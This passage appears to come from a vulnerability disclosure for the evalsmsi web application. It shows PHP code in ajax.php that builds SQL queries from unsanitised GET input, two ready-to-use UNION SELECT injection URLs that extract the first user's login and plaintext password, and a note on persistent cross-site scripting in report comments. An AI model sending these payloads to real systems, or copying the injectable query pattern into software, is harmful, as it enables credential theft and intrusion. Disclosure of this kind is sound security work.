It doesn't give access to much interesting information but the lack of authentication augments the risks associated with the following vulnerabilities. 3 - SQL Injection SQL injection is possible via the script ajax.php The vulnerable code is the following (ajax.php, line 5): $id = $_GET['query']; $action = $_GET['action']; $base = evalsmsiConnect(); switch ($action) { case 'sub_par': $request = "SELECT MAX(numero) FROM sub_paragraphe WHERE id_paragraphe="$id""; break; case 'question': $request = "SELECT * FROM sub_paragraphe WHERE id_paragraphe="$id""; break; case 'num_quest': $request = "SELECT MAX(numero) FROM question WHERE id_sub_paragraphe="$id""; break; default: break; As a proof-of-concept, it is possible to obtain the username and password (in plaintext) of the first user with the following requests : first user name http://server/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SEL ECT%20NULL%20,%20login,%20NULL,%20NULL,%20NULL%20FROM% 20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%2 0%22 first user password http://server/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SEL ECT%20NULL%20,%20password,%20NULL,%20NULL,%20NULL%20FROM% 20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%2 0%22 4 - Persistent Cross-Site Scripting It is possible to inject Javascript in the comment box of reports. Normally this would be less critical because you need a valid account to access reports. However, due the preceding vulnerabilities it is possible to obtain valid credentials.
